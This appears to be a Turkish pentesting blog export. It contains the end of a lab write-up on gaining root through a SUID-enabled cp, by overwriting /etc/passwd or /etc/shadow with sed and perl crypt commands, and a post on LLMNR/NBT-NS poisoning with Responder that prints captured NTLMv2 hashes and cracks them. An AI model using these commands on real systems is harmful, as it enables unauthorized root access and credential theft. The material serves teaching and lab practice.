Bir alt başlık olarak bunu açmakta fayda var çünkü bunun üzerinden yürüyeceğiz. Linux sistemlerde SUID bit denilen bir kavram var ve bunun ile yetkili bir kullanıcının kullanabildiği bir uygulamayı/dosyayı/klasörü kendisinden düşük yetkilerde birininde sıkıntı olmadan kullanabilmesi için geliştirilmiş bir yetkilendirme biti.<br />
Bir örnek ile açıklamak gerekirse;<br />
linux'ta parola değiştirmek için kullanılan passwd komutu. Bu komutun SUID biti set edilmiş ise her kullanıcı bunu kullanıp parolasını değiştirebilir, gibi gibi.<br />
Ayrıntılı bilgi için<a href="https://www.syslogs.org/suid-ve-sgid-bitler-ve-bu-bitlere-sahip-dosyalarin-bulunmasi/" target="_blank"> şu adresi</a>, olmadı <a href="http://www.cyberciti.biz/faq/unix-bsd-linux-setuid-file/" target="_blank">şunu</a>, o da olmadıysa <a href="http://www.linuxnix.com/suid-set-suid-linuxunix/" target="_blank">bunu </a>ziyaret edebilirsiniz.<br />
<br />
Çalıştırdığımız script SUID biti aktif olan dosya ve klasörleride aramakta ve listelemektedir. Verilen çıktıya bakalım.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS_Mt-O8yIKnVw2-XW9AizkYJnUjh3pWtRXTuK7kHFxpjYVOvEkX3AAUYeEUHakq2MuUQ4iVdRQPGXplPRKV2KyQtaeHPoUj57wgA8EYTJIH0mFTC-YqmgKWhOvoA9rhLIlDRi8I38Ggc/s1600/root_4.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="293" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhS_Mt-O8yIKnVw2-XW9AizkYJnUjh3pWtRXTuK7kHFxpjYVOvEkX3AAUYeEUHakq2MuUQ4iVdRQPGXplPRKV2KyQtaeHPoUj57wgA8EYTJIH0mFTC-YqmgKWhOvoA9rhLIlDRi8I38Ggc/s400/root_4.png" width="400" /></a></div>
<b>/bin/cp</b> SUID biti set edilmiş durumda. Bu ne demek?<br />
<b>cp</b>, bildiğiniz <b>copy</b> komutu, yani istediğimiz dosyayı istediğimiz yere kopyalayabiliriz, istediğimiz herhangi bir dosyanın üzerine yazabiliriz, çünkü komut root yetkisiyle çalışıyor. <br />
İlk aksiyon olarak <b>shadow</b> dosyasını okuyalım. Bildiğiniz üzere linux sistemlerde kullanıcı parolaları bellir bir <b>salt</b> ile şifrelenerek <b>/etc/shadow </b>dosyasına yazılır. İlk adımda bu dosyayı normal yetkimizle okumaya çalıştık fakat <b>Permission denied</b> aldık. Sonrasında SUID biti aktif olan <b>cp komutu</b> yardımıyla /etc/shadow dosyasını bulunduğumuz konuma kopyaladık ve cat ile okuyoruz. Elde edilen parola dosyası kırılması için<b> John the Ripper</b>'a verilebilir ama <b>admin</b> ve <b>user</b> kullanıcıları dışında bir sonuç veremeyebilir. Muhtemelen zor ve karmaşık bir parola kullanılmıştır root için bu yüzden kısa sürede sonuç alınamaz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVZVfHXhrMqf4YJXK1X4Zrx_1dCldi6eVlQKlQR1G2uBRuZRnqmdV_KensaBSqEsQ6N2_tV6V1xV5ruCqOlNdMbVba2bwapX_XkZlhafnPnAtHaZ6vbu0udyQ92pghJypg4wElxweXxc/s1600/root_5.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="372" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsVZVfHXhrMqf4YJXK1X4Zrx_1dCldi6eVlQKlQR1G2uBRuZRnqmdV_KensaBSqEsQ6N2_tV6V1xV5ruCqOlNdMbVba2bwapX_XkZlhafnPnAtHaZ6vbu0udyQ92pghJypg4wElxweXxc/s640/root_5.png" width="640" /></a></div>
<br />
İstediğimiz şekilde kopyalama yapabiliyoruz gördüğünüz üzere. Peki bunu lehimize nasıl kullanabiliriz ve root olabiliriz?<br />
<b>Passwd</b> ve <b>Shadow</b> dosyalarını kullanarak root yetkisine erişebiliriz, çünkü bunları istediğimiz şekilde manipüle edip orjinali yerine tekrar kopyalama şansımız var. Şöyle ki;<br />
<ul>
<li>Passwd dosyasının içerisinde bulunan alanlardan <b>kullanıcının id</b>'sini belirten ve rakamlardan oluşan alanı manipüle ederek root yetkisine sahip bir kullanıcı olabiliriz. Örnek olarak, <b>user</b> kullanıcısının id değeri <b>1000</b>'dir. <b>Admin</b> kullanıcısının id değeri <b>1002</b>'dir. Linux'ta sistem kurulumundan sonra eklenen kullanıcılar id değeri olarak 1000 ve sonrasını alırlar. Root kullanıcısının id değeri ise <b>0</b> (sıfır) dır. Yapılacak işlem, passwd dosyasının içeriğinde bulunan ve erişebileceğimiz bir kullanıcının id değerini 0'a çekmek, değiştirdiğimiz içeriğe sahip passwd dosyasını orjinal yeri olan /etc/passwd yerine kopyalamak ve o kullanıcıya geçiş yapmaktır. Sonrası w00t w00t.</li>
<li>Shadow dosyası, kullanıcılara ait parola <b>hash</b> değerlerini <b>salt</b> değeriyle beraber tutmaktadır. Buradaki olay ise, kopyaladığımız shadow dosyasında -eğer root parolası ile ilgili bir kaygımız yok ise- yetkili kullanıcılar kimler ise onların <b>parolalarının bulunduğu alanı</b> istediğimiz bir parola ile <b>değiştirmek</b>. Ardından üzerinde değişiklik yapılmış shadow dosyasını orjinal yeri olan /etc/shadow üstüne kopyalamak ve parolasını değiştirdiğimiz yetkili kullanıcıya geçiş yapmak. Sonrası w00t w00t.</li>
</ul>
Her iki yöntemi de yapalım, sonuçta beyin bedava, hangisini beğenirseniz onu yaparsınız. <br />
<br />
Şunu belirtmekte fayda var. SSH için konfigürasyonların bulunduğu <b>/etc/ssh/sshd_config</b> dosyasında uzak erişimde root ile login olma parametresi devre dışı bırakılmış. Sadece key ile giriş yapılabiliyor. Bu yüzden sisteme bir kullanıcı bilgisiyle eriştikten sonra root'a geçiş yapma şansımız var.<br />
<br />
<b>Passwd</b><br />
Yukarıda ne yapmamız gerektiğini özetledik aslında bu yüzden bir daha anlatmaya gerek yok. Aşağıda yapılan adımları kısaca özetleyip geçmek yeterli olacaktır.<br />
Elimizde <b>user</b> ve <b>admin</b> kullanıcıları var. passwd dosyasının bulunduğumuz dizine <b>passwd_yeni</b> ismiyle kopyalıyoruz. Root yetkisi vereceğimiz <b>admin</b> kullanıcısının id değeri <b>1002</b>'dir.<br />
Sed komutuyla passwd_yeni dosyamızın içerisinde bulunan ve admin id değeri olan <b>1002</b>'yi root id değeri olan <b>0</b> ile değiştiriyoruz. Daha sonra değişiklik yapılmış dosyayı orjinal passwd olan <b>/etc/passwd </b>yerine kopyalıyoruz. Değişiklikler sonucunda admin kullanıcısına geçiş yaptığımız vakit, bom, root olduk.
<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;"> user@canyoupwnme:~$ cat /etc/passwd > passwd_yeni
user@canyoupwnme:~$ grep "1002" passwd_yeni
user@canyoupwnme:~$ sed -i 's/1002/0/g' passwd_yeni
user@canyoupwnme:~$ grep "admin:" passwd_yeni
user@canyoupwnme:~$ grep "admin:" /etc/passwd
user@canyoupwnme:~$ cp passwd_yeni /etc/passwd
user@canyoupwnme:~$ grep "admin:" /etc/passwd
user@canyoupwnme:~$ su admin
root@canyoupwnme:/home/user# whoami && id </code> </pre>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLVsV2-9pWM0lRxdpVn50Mq3TcCrq56caTp4RhBFeAEmFpLXskCfX-C8z1f6_jjEfdyiekbCDIpgN9vP8kVz0JIcNiwcx1yk8epipirCngYLHKqVPcIKdsXHSegywd_m693SX887UjEI8/s1600/root_passwd1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="396" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhLVsV2-9pWM0lRxdpVn50Mq3TcCrq56caTp4RhBFeAEmFpLXskCfX-C8z1f6_jjEfdyiekbCDIpgN9vP8kVz0JIcNiwcx1yk8epipirCngYLHKqVPcIKdsXHSegywd_m693SX887UjEI8/s640/root_passwd1.png" width="640" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
</div>
<div style="text-align: left;">
Artık root olduğumuza göre içeride dolaşabiliriz ve post-exploitation aşamasını dibine kadar yaşayabiliriz.</div>
<div style="text-align: left;">
Örnek olarak root klasöründe bulunan ve mysql üzerinde yapılan işlemleri loglayan, bash'in mysql versiyonu diyebiliriz, gizli dosya olan .<b>mysql_history</b> dosyasına bir göz atalım bakalım önemli bilgiler var mı içerisinde?</div>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjjnvW4h42Wy_JRtrxBGgtK9AH3OHQJaUb1A1nzK3FwhRQQLmOvWeBIvqr2x5BCdey_Cs_QuGhs9hrCN7hx7VdwXmLzOJ0bA39gsLja-obXhtVBBNcJQ_5E6pHVoY7CbOBqAO4C_9pRAM/s1600/root_passwd2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="558" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgjjnvW4h42Wy_JRtrxBGgtK9AH3OHQJaUb1A1nzK3FwhRQQLmOvWeBIvqr2x5BCdey_Cs_QuGhs9hrCN7hx7VdwXmLzOJ0bA39gsLja-obXhtVBBNcJQ_5E6pHVoY7CbOBqAO4C_9pRAM/s640/root_passwd2.png" width="640" /></a></div>
<div style="text-align: left;">
<br /></div>
<br />
<br />
Görüldüğü üzere sunucuya kurulan web uygulamalarının kullanıcıları ve parolaları çıktı dosyadan.<br />
<br />
<b>Shadow</b><br />
Shadow dosyasının içeriğini anlamak için aşağıdaki adres ziyaret edilebilir.<br />
<a href="http://www.yourownlinux.com/2015/08/etc-shadow-file-format-in-linux-explained.html">http://www.yourownlinux.com/2015/08/etc-shadow-file-format-in-linux-explained.html</a><br />
Burada önemli olan kısım dosyada tutulan <b>hash</b>'in hangi <b>tipte</b> olduğu ve kullanılan <b>salt değerinin</b> ne olduğudur. Bu iki değeri aldıktan sonra, yukarıdaki linkte verilmiş olan sayfada alt kısımlarda aşağıdaki gibi bir perl kodu var. Bu kod parçacığı verdiğimiz hash algoritmasının tipi ve salt değerini de içine alarak istemiş olduğumuz parolayı shadow dosyasına uygun bir formatta verecektir.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">perl -e 'print "Hash -> ". crypt("<PASSWORD>","\$<HASH-ALGO>\$<SALT-VALUE>\$") . "\n"'
</code></pre>
Bu bağlamda ben root parolasını "<b>Kevgircik</b>" olarak değiştirmek istiyorum. Shadow dosyasının root ile ilgili olan kısmında gördüğünüz üzere hashlenen parolanın hash tipi <b>6</b> yani <b>SHA512</b>, salt olarak ise "<b>6ZcgUVCV</b>" stringi kullanılmış.<br />
<pre style="background: #f0f0f0; border: 1px dashed #cccccc; color: black; font-family: "arial"; font-size: 12px; height: auto; line-height: 20px; overflow: auto; padding: 0px; text-align: left; width: 99%;"><code style="color: black; word-wrap: normal;">perl -e 'print "Hash -> ". crypt("Kevgircik","\$6\$6ZcgUVCV\$") . "\n"'
Hash -> $6$6ZcgUVCV$0XshGalnjkt6vPMGF6T89pWu3ObAMJDDJ1vL7dsHPjS1L9QsPBE3m7SoMRPBqg5oyQ1UikPQJ11nXgiWEV7Dj1
</code></pre>
Elde ettiğimiz çıktıda bulunan hash tipi, salt değeri ve parolanın ona göre hashlenmiş halini alıp orjinal shadow dosyasındaki root parolasında bulunan yerler ile değiştiriyoruz. Değiştirme işleminin ardından orjinal yeri olan /etc/shadow üzerine kopyalıyoruz ve parolasının kendi belirlediğimiz root hesabına geçiş yapabiliyoruz.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh49CFgKmw6W8kF6kywv-R28u1UfOYJj3HH9Bq0RIlYS6Y6RnIGoIWmAKBtOf6aizviQvRpAjQS7H_mNaa9BU6ql0QwigySrPjlne27wGcsrqK-lyvURquumAzsuoJ0FX2dDvxorAXhTB0/s1600/root_shadow1.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="216" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh49CFgKmw6W8kF6kywv-R28u1UfOYJj3HH9Bq0RIlYS6Y6RnIGoIWmAKBtOf6aizviQvRpAjQS7H_mNaa9BU6ql0QwigySrPjlne27wGcsrqK-lyvURquumAzsuoJ0FX2dDvxorAXhTB0/s640/root_shadow1.png" width="640" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
</div>
Edit: <a href="https://www.exploit-db.com/exploits/39166/" target="_blank">Şuradaki</a> local root exploit ile kolayca yetki yükseltilebiliyormuşsunuz. Ya ben o adamın diğer exploitlerini denemiştim, bu nasıl kaçtı gözümden. Lanet olsun adamım. Ağlıyorum şuanda biliyor musun :'(<br />
<br />
Bayağı, bayağı bir uzun oldu. Ben bile gözden geçirirken yoruldum okumaktan :D<br />
Umuyorum faydalı olmuştur, sürç-i lisan ettiysek affola.<br />
Yanlış bilgi verdiysek eğer yorum alanı yardımıyla düzelttirebilirsiniz.<br />
Öptüm kib. bye.Yunus YILDIRIMhttp://www.blogger.com/profile/09141970922985921246noreply@blogger.com5tag:blogger.com,1999:blog-4536086478290117322.post-77383541196921912842016-02-25T07:06:00.002-08:002016-04-01T15:53:17.185-07:00LLMNR - NBTNS PoisoningMerhaba,<br />
<br />
Kaç zamandır merak ettiğim ve arada karşıma çıkan, sonunda araştırıp öğrendikten sonra yazıya döktüğüm, isim çözme (name resolution) protokollerinden olan LLMNR ve NBT-NS'i aldatarak kurbanın kullanıcı parolasının hash değerini elde etme olayını anlatan bir yazı olacak okuyacaklarınız.<br />
<br />
<b>Baştan NOT:</b> Yazının son kısmı olan <b>Attack Combo</b> kısmını okumadan geçmeyin bence, asıl atraksiyon orada.. <br />
<br />
<b>LLMNR - </b><b>NBT-NS </b><br />
Link-Local Multicast Name Resolution (<b>LLMNR</b>) ve NetBIOS Name Service (<b>NBT-NS</b>) olarak bilinen bu servisler hakkında kısa bir ön bilgi verdikten sonra zafiyeti sömürelim ve iki hareket yapıp Domain admin olalım.<br />
<br />
<a name='more'></a><br />
LLMNR olarak bahsi geçen protokol, windoz sistemlerde için isim çözümleme işini yapıyor. Şöyle ki, normal bir ağda isim çözümleme için DNS sunucusuna gidilir, fakat DNS sunucusunun cevabı bilmediği durumlarda multicast ile network'te bulunan makinelere aranan host sorulur ve buradan alınan cevap ile işlemler gerçekleştirilir.<br />
Burada bulunan sıkıntı, kurbanın aldığı cevabı doğru ve güvenilir olarak kabul etmesi. Bizlerde bu güveni kötüye kullanarak sömürürüz.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkfEzHsT71YQ5JZwdK6jULLc1vGuSO8hl5FRlr_M9aCokUd0srG55mnxMb5tp6Xbc-Ma8Dg1t6pwd_jkXJ1O27jgG5l-TtwRIXGmL9ydArzpF0wLvXbDT30pAM4rhw9fvKC7r8xYDM2G8/s1600/llmnr_poison1.jpg" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="403" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhkfEzHsT71YQ5JZwdK6jULLc1vGuSO8hl5FRlr_M9aCokUd0srG55mnxMb5tp6Xbc-Ma8Dg1t6pwd_jkXJ1O27jgG5l-TtwRIXGmL9ydArzpF0wLvXbDT30pAM4rhw9fvKC7r8xYDM2G8/s640/llmnr_poison1.jpg" width="640" /></a></div>
Resimde anlatılan olay zafiyeti nasıl sömüreceğimizi anlatıyor. Adım adım açıklamak gerekirse;<br />
<ul>
<li>Victim kişisi <b>printserver</b> ile haberleşmek ister fakat ismi yanlışlıkla <b>pintserver</b> olarak yazar ve bununla haberleşmek ister.</li>
<li>DNS sunucusuna <b>pintserver</b> sorulur ama DNS sunucu "hacı ben bilmiyom onu sen çok yanlış gelmişsin" der</li>
<li>Sonraki adımda victim network'te broadcast ile <b>pintserver</b> kimdir beyler bana bunu bulun der.</li>
<li>O an, bizler pusuya yatan bir çakal edasıyla gelen pakete cevap olarak çok değerli victim bey, aradığınız mübarek pintserver benim diye cevap döneriz.</li>
<li>Son adımda windoz'un challenge/response işleminden sonra victim hıyarı bize duruma bağlı olarak NETNTLM, NTLMv1, NTLMv2 hash türlerinden biriyle kendi credential/giriş bilgilerini verecektir.</li>
</ul>
<b>Saldırı</b><br />
<br />
Saldırıyı gerçekleştirmek için farklı araçlar kullanılabilir.<br />
<ul>
<li>SpiderLabs'ın geliştirdiği ve bizim kullanacağımız <a href="https://github.com/Spiderlabs/Responder" target="_blank">Responder</a></li>
<li>Metasploit'in içerisinde bulunan <a href="https://www.rapid7.com/db/modules/auxiliary/spoof/llmnr/llmnr_response" target="_blank">llmnr_response</a> modülü </li>
<li><a href="https://twitter.com/byt3bl33d3r" target="_blank">byt3bl33d3r</a> reyizin yazdığı ve MITM için kullandığım <a href="https://github.com/byt3bl33d3r/MITMf" target="_blank">MITMf</a></li>
</ul>
ilk anda aklıma gelen araçlar bunlar. Yukarıda söylediğim gibi saldırıyı Responder ile yapacağız. Kali linux içerisinde yüklü geliyor kendileri, diğer araçların da bulunduğu konum olan <b>/usr/share/ </b>klasörünün altında bulunan <b>responder</b> klasöründe görebilirsiniz.<br />
<br />
Yukarıda vermiş olduğum linkten projeyi clone edip, kullanabilirsiniz.<br />
Parametreler ve değişik spoofing methodları aşağıda görüldüğü gibidir. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhW7UgnEkWz7hVGKNDOPjhBG5kGggbY8nwIdBVfqOZehsqgorsNgKc7-sbCvNe0_ZX6nPSh3v088pZep6N4YHKvUzfM_611RlJU65fKFFBsGilbcZTcsgq89WfRk9g2nY5sBnqFS2_hls/s1600/1.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="400" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhhW7UgnEkWz7hVGKNDOPjhBG5kGggbY8nwIdBVfqOZehsqgorsNgKc7-sbCvNe0_ZX6nPSh3v088pZep6N4YHKvUzfM_611RlJU65fKFFBsGilbcZTcsgq89WfRk9g2nY5sBnqFS2_hls/s400/1.png" width="396" /></a></div>
<br />
Çok ayrıntıya girmeden -diğer spoofing yöntemleriyle uğraşmadan- tek parametre ile default ayarlarını kullanarak çalıştıralım aracı.<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">responder -i 172.17.7.65</span></li>
</ul>
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4_aBgiJWGVofs25TwhHP81BjVLbm1z9niGG7nHJrjm7R80G2o1V3cy-KhRzZajcQ2iKNZgpvKwf252qRQpq6M7xCbTcLhKQFt7PrTWELyGPNj9aDB2RnQTL2siyZAkTH5y7gaphABvjY/s1600/2.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="217" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj4_aBgiJWGVofs25TwhHP81BjVLbm1z9niGG7nHJrjm7R80G2o1V3cy-KhRzZajcQ2iKNZgpvKwf252qRQpq6M7xCbTcLhKQFt7PrTWELyGPNj9aDB2RnQTL2siyZAkTH5y7gaphABvjY/s640/2.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
Burada verilen IP adresi, spoofing işlemi sonucunda kurbanın yönlendirileceği adres, yani bizim local IP adresimiz. Gördüğünüz gibi istekler akıp gidiyor.<br />
Şimdi kurban bilgisayarının yanlış bir hostname ile network'te bir adrese ulaşmaya çalıştığını varsayıp bir istekte bulunalım.<br />
Örnek olarak <b>\\hebele</b> makinesine ulaşmaya çalıştığımı varsayalım.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQPYet3O37jq1iwW0xHeZTg6AZp59HCqUqWNqBmUL8k-x8t0ZQ4FcSY8keZXnPxAMoz1zJnEEDcDLURpFOo3BEXneY_uefM-asHv_BB1UoJAD4r_Q9liX_bJen0X2lBNWBJOV0BSKoPsc/s1600/3.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQPYet3O37jq1iwW0xHeZTg6AZp59HCqUqWNqBmUL8k-x8t0ZQ4FcSY8keZXnPxAMoz1zJnEEDcDLURpFOo3BEXneY_uefM-asHv_BB1UoJAD4r_Q9liX_bJen0X2lBNWBJOV0BSKoPsc/s400/3.png" width="400" /></a></div>
<br />
Önce <b>lokalde</b> bulunan bir kullanıcı ile kurbandan \\hebele'ye ulaşmaya çalıştık. Ardından <b>LAB</b> isimli bir domain'den bir kullanıcı ile aynı şekilde \\hebele'ye ulaşmaya çalıştık.<br />
Her iki şekilde de olmayan bir makineye ulaşmaya çalıştıkları için hata alacaklardır.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN15j01OChmaLB4oJZwC6oxqnTuS3hWuj97ZLGSyMo5K-C3NKVRc5NGWp6FvHIkhuS5uxiGQqyYgTLb0b-3W_dz_aUuzviNWknoU05zAcOxdQcP7P4raajqiMWghm97mwK1ZqC8wqa4OU/s1600/5.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="125" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhN15j01OChmaLB4oJZwC6oxqnTuS3hWuj97ZLGSyMo5K-C3NKVRc5NGWp6FvHIkhuS5uxiGQqyYgTLb0b-3W_dz_aUuzviNWknoU05zAcOxdQcP7P4raajqiMWghm97mwK1ZqC8wqa4OU/s400/5.png" width="400" /></a></div>
<br />
Fakat bu kısım ilgilendirmez, gariban kurbanın yaptığı hatayı sömürdük bile, akıllı olacaktı ve yanlış/olmayan yere erişmeye çalışmayacaktı.<br />
<br />
<span style="font-family: "courier new" , "courier" , monospace;">responder -i 172.17.7.65 </span>ile başlattığımız Responder'a dönelim bakalım neler olmuş orada.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyARI22lB11XCIcSmPS80H4LWv8KFZeeF-avD_gDkBG3N7hdXGk1DUfOD_ecXr5a0kvUVpYXtv8r8KwMJYoJp6ulc7DASSaQIiWq4M7pLNCy0hsw4MvY3VP5BiFoNcnRh7bGlZ5xD-AM/s1600/4.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="86" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhnyARI22lB11XCIcSmPS80H4LWv8KFZeeF-avD_gDkBG3N7hdXGk1DUfOD_ecXr5a0kvUVpYXtv8r8KwMJYoJp6ulc7DASSaQIiWq4M7pLNCy0hsw4MvY3VP5BiFoNcnRh7bGlZ5xD-AM/s640/4.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
Resimden anlaşılacağı üzere <b>78 </b>IP'li makine önce <b>Yunus</b>, daha sonra da <b>LAB\Administrator </b>kullanıcıları ile <b>\\hebele</b>'ye ulaşmaya çalışmış.<br />
Her iki sonuçta olmayan bir lokasyon olduğu için kurbanlar GG olmuş.<br />
<br />
Elde edilen hash değerlerinin SMB-NTLMv2 formatında olduğu yazıyor.<br />
Maalesef NTLMv2 ile PTH (Pass the Hash) yapılamıyor :'(<br />
<br />
PTH yapılamadığı için elimizdeki tek alternatif hash değerlerini kırıp kullanıcılara ait parolaları elde etmek ve ordan yürümek. Elde edilen hash değerleri aşağıda verilmiştir.<br />
<br />
<i>Yunus::Yunus-PC:1122334455667788:4BB92B14728C7D995DF3A1C36230B220:01010000000000008F5429B0366ED10109A6948CA63AE6470000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C000800300030000000000000000100000000200000052CD17429F7A3607D2DDCD87B7D3BD45939F10B0E0CA22122348A1E84CD46500A001000000000000000000000000000000000000900160063006900660073002F0068006500620065006C0065000000000000000000</i><br />
<i><br /></i>
<i>Administrator::LAB:1122334455667788:788ABF011E09A51F25999183E5358671:0101000000000000E6E498BE366ED101FC607845375E91D00000000002000A0073006D006200310032000100140053004500520056004500520032003000300038000400160073006D006200310032002E006C006F00630061006C0003002C0053004500520056004500520032003000300038002E0073006D006200310032002E006C006F00630061006C000500160073006D006200310032002E006C006F00630061006C000800300030000000000000000000000000300000052CD17429F7A3607D2DDCD87B7D3BD45939F10B0E0CA22122348A1E84CD46500A001000000000000000000000000000000000000900160063006900660073002F0068006500620065006C0065000000000000000000</i><br />
<br />
Elde edilen hash değerleri terminalin yanı sıra belli bir formatta dosyalara da yazılıyor. Format olarak şöyle bişi kullanıyorlar;<br />
<ul>
<li><span style="font-family: "courier new" , "courier" , monospace;">(MODULE_NAME)-(HASH_TYPE)-(CLIENT_IP).txt</span></li>
</ul>
Çıktıların kaydedildiği bu dosya, eğer kali'nin içerisindeki Responder ile çalışıyor isek; <b>/usr/share/responder</b> altında, eğer github'tan clone edip çalıştırdıysak kendi klasörü içerisinde olacaktır.<br />
Bir önceki resimden anlaşılacağı üzere kurban kişisinin IP adresi 78 ile bitiyordu.<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizp-Z_2TOHUtund3SfR4Qf268ie1_5yzzf2snwFyFiNeQO0mJU5nAYDbTK7u-TmPlnZRbiPXiYtVt3N4_q5RSsbmKbf70ELx4uPTWUSKdknZJBQaE_oXTG-iSQeBZmG7t9VZtcH9LPw6Y/s1600/6.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="65" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEizp-Z_2TOHUtund3SfR4Qf268ie1_5yzzf2snwFyFiNeQO0mJU5nAYDbTK7u-TmPlnZRbiPXiYtVt3N4_q5RSsbmKbf70ELx4uPTWUSKdknZJBQaE_oXTG-iSQeBZmG7t9VZtcH9LPw6Y/s400/6.png" width="400" /></a></div>
<br />
SMB modülünü kullanarak hash değeri elde etmiş ve elde ettiği hash NTLMv2 imiş.<br />
Dosyanın içerisinde yukarda vermiş olduğum hash değerleri aynen yer alıyor.<br />
Hashleri kırmak için Hashcat veya JtR (John the Ripper) kullanılabilir.<br />
<br />
Çok uzatmadan john dayıya hash dosyasını verip kırmasını isteyelim.<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe9_AW6V2RFrkx5_i3kyLWMpwHy5AXADmlgwn02Wbirv0N0i0nXi1rLIFZ7D22tfmDClFyRHqXXoAhuma9WDOqYDzTTTpcwyLGQTUOEwcXoskFMHgoluLWufBd7I-9iAfL6H6oWAeitVA/s1600/7.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhe9_AW6V2RFrkx5_i3kyLWMpwHy5AXADmlgwn02Wbirv0N0i0nXi1rLIFZ7D22tfmDClFyRHqXXoAhuma9WDOqYDzTTTpcwyLGQTUOEwcXoskFMHgoluLWufBd7I-9iAfL6H6oWAeitVA/s640/7.png" width="640" /></a></div>
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<br />
<b>Yunus</b> isimli kullanıcının parolası kolay olduğu için kırıldı. <b>Administrator</b> kullanıcısının parolası 15 karakter ve karmaşık olduğu için john kıramayacaktır.<br />
Elde ettiğimiz değerler ile bi giriş deneyelim.<br />
Burada genelde Metasploit'in PsExec modülü kullanılır fakat ben <a href="https://twitter.com/byt3bl33d3r" target="_blank">byt3bl33d3r</a> reyisin <a href="https://github.com/byt3bl33d3r/CrackMapExec" target="_blank">CrackMapExec</a> aracını kullanacağım.<br />
<br />
İlerde bununla ilgili bir yazı yazabilirim çünkü çok işe yarar, gözümde efsane bir araçtır.<br />
(YAZAMADI)<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
